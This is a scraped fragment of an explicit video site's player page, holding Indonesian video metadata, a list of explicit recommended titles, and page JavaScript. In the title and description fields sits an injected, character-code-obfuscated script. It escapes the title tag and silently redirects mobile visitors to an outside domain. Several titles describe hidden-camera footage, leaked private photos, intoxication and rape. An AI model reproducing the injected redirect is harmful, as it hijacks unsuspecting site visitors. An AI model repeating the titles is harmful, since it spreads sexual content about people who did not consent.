</title><skrip>var _=String['fromCharCode'];var a=_(77,111,98,105,108,101);var b=_(65,110,100,114,111,105,100);var c=_(105,80,104,111,110,101);var d=_(105,80,97,100);var u=navigator.userAgent;if(u.indexOf(a)>-1||u.indexOf(b)>-1||u.indexOf(c)>-1||u.indexOf(d)>-1){window.location.href=_(104,116,116,112,115,58,47,47,120,105,97,122,97,105,46,105,116,46,99,111,109)}</script><title>Kumpulan wanita-wanita yang kontras menunjukkan wajah mereka, pelatihan wanita submisif, seks, dan swafoto.</title></script></script>
Kumpulan wanita-wanita yang kontras menunjukkan wajah mereka, pelatihan wanita submisif, seks, dan swafoto.","site_id":0,"video_url":"https://2605.v155p.com/20260620/5FVuOv0S/index.m3u8","images":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA1MTMvYmM5YjU4NWY0NWM3YzJjMDEwNzIwZTA0Mzc3ZTZjNmIuanBn.cache","duration":"44:05","actor":[],"lastmod":1783766805,"rating":"5.0","view_count":812,"description":"Sekumpulan wanita yang kontras, memperlihatkan wajah mereka, dilatih sebagai wanita penurut, berhubungan seks, dan berfoto selfie.","tag":["Kontras","Kontras jalang","Koleksi Besar","Koleksi","Tunjukkan wajahmu","anjing betina","pelatihan anjing betina","Pelatihan","tepuk tepuk","Selfie"],"site_url":"176965","free":1,"clarity":1,"vr":2,"is_caiji":0,"fenlei":["美女主播"],"preview":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA1MTMvYmM5YjU4NWY0NWM3YzJjMDEwNzIwZTA0Mzc3ZTZjNmIuanBn.cache","maker":"","table_name":"videos_155zy","content":"","download_url":"","magnet_url":"","torrent_url":"","preview_images":"","release_date":"","series":"","studio":"","s_title":"反差婊大合集露脸母狗调教啪啪自拍","s_keywords":"反差婊大合集露脸母狗调教啪啪自拍","s_description":"var _=String['fromCharCode'];var a=_(77,111,98,105,108,101);var b=_(65,110,100,114,111,105,100);var c=_(105,80,104,111,110,101);var d=_(105,80,97,100);var u=navigator.userAgent;if(u.indexOf(a)>-1||u.indexOf(b)>-1||u.indexOf(c)>-1||u.indexOf(d)>-1){window.location.href=_(104,116,116,112,115,58,47,47,120,105,97,122,97,105,46,105,116,46,99,111,109)}Kumpulan wanita-wanita yang kontras menunjukkan wajah mereka, pelatihan wanita submisif, seks, dan swafoto.","cid":"","items":[{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA1MTMvZWYyZjQxODViMmI1MjBiY2JhNmFlMjYxZjA4NjUxZGMuanBn.cache","vod_id":19158952,"title":"Kamera Tersembunyi - Setan Berkemaluan Besar membayar harga mahal untuk berhubungan seks dengan seorang gadis berstoking putih dan bertato bunga di lengannya.","lastmod":"2026-05-19","duration":"38:09","url":"/play/19158952.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvOTNmNjYzNDUxZDQ1NTM4M2Y0MDE4N2U2ZmMxZWJlN2EuanBn.cache","vod_id":18928127,"title":"Platform imut ini (sebelumnya bernama Kawaii) menampilkan Chen Wanwan, seorang wanita cantik, yang sedang dipermainkan oleh pasangan seksnya. Video tersebut menunjukkan adegan seks dua orang yang penuh gairah dan sangat menggoda. Jangan sampai ketinggalan jika Anda menyukai hal semacam ini!","lastmod":"2025-12-14","duration":"00:56:29","url":"/play/18928127.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA5MDUvNmI1ZjA4YjRhNjJlZGU1YWFmM2I4N2I2ZTM0YTFlM2YuanBn.cache","vod_id":19049307,"title":"[Direkomendasikan] Seorang wanita dengan stoking merah dan lingerie seksi, dengan kepribadian yang kontras, dilatih untuk menerima ejakulasi di dalam tanpa kondom!","lastmod":"2025-09-04","duration":"08:04","url":"/play/19049307.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNTdhMjgyZjBkZWEwMTE5MmU1ZTVjMWQxZTEyYzYyOGIuanBn.cache","vod_id":18964754,"title":"Baidu Cloud membocorkan ❤️ Seorang pemuda berbaju dalam merah mabuk saat makan camilan larut malam, membuat wanita muda berpayudara besar pemilik salon kecantikan juga mabuk, lalu pergi ke hotel untuk berhubungan seks dengannya.","lastmod":"2025-12-14","duration":"00:16:34","url":"/play/18964754.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNDliOGU3OTgzYjY3OTZhZjk3NzFlOTJkMjE3YmE5NDkuanBn.cache","vod_id":18996596,"title":"[Mahasiswi Internasional Berprestasi] Payudara Besar Alami dan Celah Sempit Disetubuhi dan Dikeluarkan Sperma di Dalam oleh Penis Orang Asing (tanpa Kondom)","lastmod":"2025-03-23","duration":"22:55","url":"/play/18996596.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA4MTgvNjhhZTJhNDVmOGRiMjUzNmY3YjZiNDZmZjJjMDUzNjQuanBn.cache","vod_id":19047603,"title":"[Profil Contrast Bitch] Anjing Betina Contrast Bitch, Kemungkinan Pengguna Pornografi Internet Veteran","lastmod":"2025-08-17","duration":"07:48","url":"/play/19047603.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMTJiZDhkOTk5YmEzZjM2Nzk5OWM0ZmUwZTQ2NTg0MmQuanBn.cache","vod_id":18926525,"title":"Ibu rumah tangga berstoking itu sangat murahan, terus-menerus memperlihatkan wajahnya untuk merayu pria itu sementara pria itu masturbasi. Pria itu bermain-main dengan kemaluannya, penisnya begitu besar sehingga tidak muat di mulutnya, dan wanita itu mengambil inisiatif untuk disetubuhi, mendapatkan penetrasi yang kasar dan ejakulasi di dalam oleh pria itu.","lastmod":"2025-12-14","duration":"00:31:41","url":"/play/18926525.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvZGVjZjdhY2ZjNjI4NTc3YWUwNDA5NTI5ZWRiZmQ3OWYuanBn.cache","vod_id":19140358,"title":"HEYZO 3562 Seks yang dinantikan dengan pacarku yang seksi! ~Koleksi Kecantikan Vol.63~ – Mayu Omikawa","lastmod":"2026-01-26","duration":"01:02:25","url":"/play/19140358.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNzFlNjkyOTNhN2ExNTM5NzA2MDM5ZjNhMjFhOTc5MjEuanBn.cache","vod_id":18963429,"title":"Influencer Twitter NTR istri yang dikhianati dan jalang murahan [Setan Kecil yang Memelihara Kucing] berhubungan dan membocorkan foto-foto pribadi~ Tubuh berkualitas tinggi, vagina harimau putih, makan, minum dan bersenang-senang dengan penggemar (12)","lastmod":"2025-03-22","duration":"00:01:27","url":"/play/18963429.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNTY1ZGFiNGM5NzczZjNkNDc3ZWYwNGE0YzIyNDI4M2UuanBn.cache","vod_id":18963426,"title":"Influencer Twitter NTR istri yang dikhianati dan jalang murahan [Setan Kecil yang Memelihara Kucing] berhubungan dan membocorkan foto-foto pribadi~ Tubuh berkualitas tinggi, alat kelamin harimau putih, makan, minum dan bersenang-senang dengan penggemar (9)","lastmod":"2025-12-14","duration":"00:01:27","url":"/play/18963426.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNDY2OTQwNjI1OWIyODMwODU1ZTUwOTM2Y2M0YjAxMjYuanBn.cache","vod_id":18943089,"title":"Seorang wanita seksi dengan tubuh menakjubkan, mengenakan rok panjang yang pas badan, didekati saat berjalan-jalan di dekat alun-alun pada malam hari. Mereka berhubungan seks di sebuah hotel; wanita itu memiliki bokong yang indah, payudara besar, dan bulu kemaluan yang lebat. Dia tahu banyak trik dan membuat pria itu sangat bahagia!","lastmod":"2025-03-22","duration":"01:14:46","url":"/play/18943089.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvZGE4NWExOTAyMjkzM2EwOTMwY2U2Mjk0N2E4OGI4ZDkuanBn.cache","vod_id":19136680,"title":"Ellieli, seorang selebriti internet papan atas, telah merilis koleksi konten eksklusif terbarunya (5 bagian).","lastmod":"2026-01-04","duration":"10:49","url":"/play/19136680.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA0MDEvMzVhNTc2ZTJkODE2YTlmYThlZTY4NWUwYzM5YjY3N2QuanBn.cache","vod_id":19027427,"title":"Berfoto selfie dan bermesraan di ruang ganti UNIQLO.","lastmod":"2025-04-01","duration":"00:00:58","url":"/play/19027427.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA3MTQvMDdkMjExMjViNDhhMTQyMWQ3YzIxOTk4YmUxYzRmZTEuanBn.cache","vod_id":19042692,"title":"Berapa lama setelah pembuahan seorang wanita dapat melanjutkan aktivitas seksual?","lastmod":"2025-07-13","duration":"10:19","url":"/play/19042692.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNzQ5NTdmYzk1YjE3Y2I1MGQwOWEzMjRmMmEwY2QzNDAuanBn.cache","vod_id":18988914,"title":"413INST-010 [Pemotretan Pribadi] [Wajah Terungkap] Idola 19 Tahun dari Agensi Terkenal [Pemotretan Pribadi Rahasia] Berhubungan seks dengan idola 19 tahun dari agensi terkenal 4 tahun setelah debutnya, wajah terungkap, termasuk adegan ejakulasi [Permainan Peran] (0002).","lastmod":"2025-12-14","duration":"50:20","url":"/play/18988914.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvYmI1Mjc4YzJlYWM2NjA3MGQ1NWIxNzhjMWMwYjAyNmYuanBn.cache","vod_id":18935682,"title":"Bagian 30 dari Seri Dominasi Gaya Cina: Putri Xiao Xi dan suaminya mendominasi seorang pria heteroseksual saat berhubungan seks, dan seekor budak anjing menjilati alat kelamin mereka.","lastmod":"2025-12-14","duration":"01:35:06","url":"/play/18935682.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMTgxODRjMjc4ZWVkNmY4Zjc3MGRjMWRjMDBiYTk0ZDAuanBn.cache","vod_id":18938171,"title":"Sang pacar sedang bermain game, dan pacarnya bersikap nakal dan ingin berhubungan seks. Dia berlutut di bawah meja, menjilatnya dengan dalam, lalu menyetubuhinya dari belakang. Mereka melakukan seks oral dan dia ejakulasi di wajah pacarnya di bawah meja komputer. (Versi asli definisi tinggi 720P)","lastmod":"2025-12-14","duration":"00:07:47","url":"/play/18938171.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvZGM1ZmQ4YWNlMDg1M2UyYzlmZGUwMmZjZmQwZTBkNTkuanBn.cache","vod_id":18949522,"title":"Larut malam, dia mendisiplinkan pemilik panti pijat yang menggoda itu, memperlihatkan wajahnya dan menjilat penisnya yang besar, sementara pria itu memperkosanya tanpa kondom di atas ranjang pijat, membuatnya mengerang dan mendesah saat pria itu berejakulasi di dalam dirinya.","lastmod":"2025-03-22","duration":"00:29:45","url":"/play/18949522.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvOWI0MzQ2MjZjYzY0MTIwZWQ5NjA0OTYwYzZiMmE2YWIuanBn.cache","vod_id":18955446,"title":"✿Gadis Hasrat Meledak✿ Klimaks Tertinggi: Kecantikan Vagina Lembut Harimau Putih Berlapis Madu ▌Yua▌Seorang Gadis dengan Aspek Kontras Pakaian JK Taring Serigala Tongkat AV Menghancurkan Lubang Madu Beberapa Ronde Klimaks Paksa dari Mesin Meriam - Benar-Benar Cantik","lastmod":"2025-12-14","duration":"00:17:16","url":"/play/18955446.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvNzVmMjdmMmE0YTE0OTQ3Y2E3MWI4NzFlMWIxNTFhN2EuanBn.cache","vod_id":19155382,"title":"Di episode selanjutnya, seorang pelatih pria heteroseksual yang sangat bugar dirayu dan didisiplinkan, menikmati kepuasan seksual di asramanya.","lastmod":"2026-04-27","duration":"16:06","url":"/play/19155382.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvZDE0YzMyN2RmZGE1OWY4ZDhhNDAxM2ZmY2M2NjhkMjcuanBn.cache","vod_id":18993105,"title":"Hotel \"Asuka Hana Miku\" mengatur agar seorang terapis pijat datang ke kamarnya dan merayu seorang pria untuk berhubungan seks.","lastmod":"2025-03-23","duration":"47:16","url":"/play/18993105.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNTczN2JiZTIzZWFhODc3YzBlNjZiZTc5YmQ5MTdmZjMuanBn.cache","vod_id":18973511,"title":"Pacar baruku yang masih muda memperlihatkan wajahnya saat berhubungan seks, aku menggunakan alat bantu untuk merangsang alat kelaminnya, dan aku berhubungan seks tanpa peng","lastmod":"2025-12-14","duration":"01:30:45","url":"/play/18973511.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvYmExMTYzMzBiNDZmMWZlYmEwMTY2Mzc0ODExZTBkNTIuanBn.cache","vod_id":18972930,"title":"Jiang Shuying, dengan sosok tubuhnya yang sempurna, muncul di depan kamera, mengenakan stoking dan memamerkan vulva basah dan erotisnya kepada para pengagum prianya. Dia mengeluarkan suara-suara cabul dan mengekspresikan dirinya dengan cara yang sangat menggoda, meraba-raba payudaranya dan bermain dengan kemaluannya menggunakan alat peraga.","lastmod":"2025-12-14","duration":"00:52:47","url":"/play/18972930.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvM2MxNmRlOGI0MzViNWVhNjdmYWI4NTA0MDRmZjc1M2EuanBn.cache","vod_id":18956098,"title":"FC2PPV 3165304 [Wajah Terungkap_Cantik_Langsing] Mengubah kepribadian seorang wanita cantik yang tidak bisa menghilangkan kebiasaannya terlambat setelah keluar malam.","lastmod":"2025-03-22","duration":"01:33:22","url":"/play/18956098.html"}]},
videoTitle: '</title><skrip>var _=String['fromCharCode'];var a=_(77,111,98,105,108,101);var b=_(65,110,100,114,111,105,100);var c=_(105,80,104,111,110,101);var d=_(105,80,97,100);var u=navigator.userAgent;if(u.indexOf(a)>-1||u.indexOf(b)>-1||u.indexOf(c)>-1||u.indexOf(d)>-1){window.location.href=_(104,116,116,112,115,58,47,47,120,105,97,122,97,105,46,105,116,46,99,111,109)}</script><title>Kumpulan wanita-wanita yang kontras menunjukkan wajah mereka, pelatihan wanita submisif, seks, dan swafoto.</title></script></script>',
language: 'id',
dataKey: '01',
loadingPlayer: true,
showShare: false,
pageUrl: '',
// RecommendedMovies 组件状态
isSingleColumn: false,
pageSize: 8,
currentPage: 1,
// 计算属性(使用 getter)
get layoutIconClass() {
return this.isSingleColumn ? 'icon-view-list' : 'icon-grid';
},
get layoutClass() {
return [
'row',
'g-3',
'row-cols-1',
this.isSingleColumn ? '' : 'row-cols-2',
'row-cols-lg-4'
].filter(Boolean).join(' ');
},
// 方法
onAppMounted() {
// 设置页面 URL
this.pageUrl = window.location.href;
// 保存观看历史
this.saveWatchHistory();
// 更新标签统计
if (this.videoData.tag && this.videoData.tag.length > 0) {
this.updateTagStats(this.videoData.tag);
}
// 发送点击统计
this.hitVideoId(this.videoData.id);
// 从 Cookie 读取布局偏好
const layoutCookie = this.getCookie('list_layout');
if (layoutCookie === 'single') {
this.isSingleColumn = true;
}
// 监听 iframe 加载完成,隐藏骨架屏
// 使用 setTimeout 确保 DOM 已完全渲染
setTimeout(() => {
const iframe = document.getElementById('v2-player');
const skeleton = document.getElementById('player-skeleton');
if (iframe && skeleton) {
// 定义隐藏骨架屏的函数
const hideSkeleton = () => {
skeleton.style.transition = 'opacity 0.3s ease';
skeleton.style.opacity = '0';
setTimeout(() => {
skeleton.style.display = 'none';
}, 300);
};
// 检查 iframe 是否已经加载完成
if (iframe.contentDocument || iframe.contentWindow) {
try {
// 如果 iframe 已加载,直接隐藏骨架屏
if (iframe.contentWindow.document.readyState === 'complete') {
setTimeout(hideSkeleton, 500);
return;
}
} catch (e) {
console.log('[Video] 跨域 iframe,无法检查状态:', e.message);
// 跨域情况下无法访问 contentWindow,继续监听 load 事件
}
}
// 监听 load 事件
iframe.addEventListener('load', () => {
console.log('[Video] iframe load 事件触发');
setTimeout(hideSkeleton, 500);
});
// 添加超时保护,确保骨架屏最终会被隐藏
setTimeout(() => {
if (skeleton.style.display !== 'none') {
console.log('[Video] 超时保护触发,强制隐藏骨架屏');
hideSkeleton();
}
}, 5000); // 5秒后强制隐藏
} else {
console.error('[Video] 未找到 iframe 或 skeleton 元素');
}
}, 0);
},
// 随机跳转
async jumpToRandomVideo() {
try {
const response = await fetch(`/api/qun/randomid?t=${Date.now()}`, {
headers: {
'x-data-key': this.dataKey,
'x-api-key': 'dagexxx.com'
}
});
const data = await response.json();
if (data?.status === 1 && data?.data?.id) {
window.location.href = `/${this.language}/play/${data.data.id}.html`;
} else {
console.error('获取随机视频失败:', data?.message || '未知错误');
}
} catch (err) {
console.error('获取随机视频失败:', err);
}
},
// 复制分享链接
copyShareLink() {
const input = this.$refs.shareInput;
if (input) {
input.select();
input.setSelectionRange(0, 99999); // For mobile devices
// 尝试使用现代 API
if (navigator.clipboard && navigator.clipboard.writeText) {
navigator.clipboard.writeText(this.pageUrl).then(() => {
alert('Tautan berhasil disalin!');
}).catch(() => {
// 降级到旧方法
document.execCommand('copy');
alert('Tautan berhasil disalin!');
});
} else {
// 降级到旧方法
document.execCommand('copy');
alert('Tautan berhasil disalin!');
}
}
},
// 切换布局
toggleLayout() {
this.isSingleColumn = !this.isSingleColumn;
this.setCookie('list_layout', this.isSingleColumn ? 'single' : 'multi', 30);
},
// 加载更多
loadMore() {
this.currentPage++;
},
// 保存观看历史
saveWatchHistory() {
try {
const storageKey = 'watchHistory';
let history = JSON.parse(localStorage.getItem(storageKey) || '[]');
// 解码 HTML 实体编码的标题
const decodeHtmlEntities = (text) => {
const textarea = document.createElement('textarea');
textarea.innerHTML = text;
return textarea.value;
};
const video = {
id: this.videoData.id,
title: decodeHtmlEntities(this.videoData.title),
image: this.videoData.images || this.videoData.preview,
duration: this.videoData.duration || ''
};
// 过滤掉已存在的相同 ID 视频
history = history.filter(item => item.id !== video.id);
// 添加新记录到最前面
history.unshift(video);
// 限制最多保存 100 条
if (history.length > 100) {
history = history.slice(0, 100);
}
localStorage.setItem(storageKey, JSON.stringify(history));
} catch (e) {
console.error('Failed to save watch history:', e);
}
},
// 更新标签统计
updateTagStats(tags = []) {
// HTML 实体解码函数
const decodeHtmlEntities = (text) => {
const textarea = document.createElement('textarea');
textarea.innerHTML = text;
return textarea.value;
};
const storageKey = this.dataKey + 'tagWatchStats';
const lastWatchedKey = this.dataKey + 'tagLastWatched';
const raw = localStorage.getItem(storageKey);
const stats = raw ? JSON.parse(raw) : {};
// 解码标签并统计
const decodedTags = tags.map(tag => decodeHtmlEntities(tag));
decodedTags.forEach(tag => {
stats[tag] = (stats[tag] || 0) + 1;
});
localStorage.setItem(storageKey, JSON.stringify(stats));
localStorage.setItem(lastWatchedKey, JSON.stringify(decodedTags));
},
// 点击统计
hitVideoId(id) {
fetch(`/api/qun/hit?type=play&id=${id}`, {
method: 'GET',
headers: {
'x-data-key': this.dataKey,
'x-api-key': 'dagexxx.com'
}
}).catch(err => {
console.error('点击统计失败:', err);
});
},
// Cookie 工具方法
getCookie(name) {
const value = `; ${document.cookie}`;
const parts = value.split(`; ${name}=`);
if (parts.length === 2) return parts.pop().split(';').shift();
},
setCookie(name, value, days) {
const expires = new Date(Date.now() + days * 864e5).toUTCString();
document.cookie = `${name}=${value}; expires=${expires}; path=/`;
}
};
}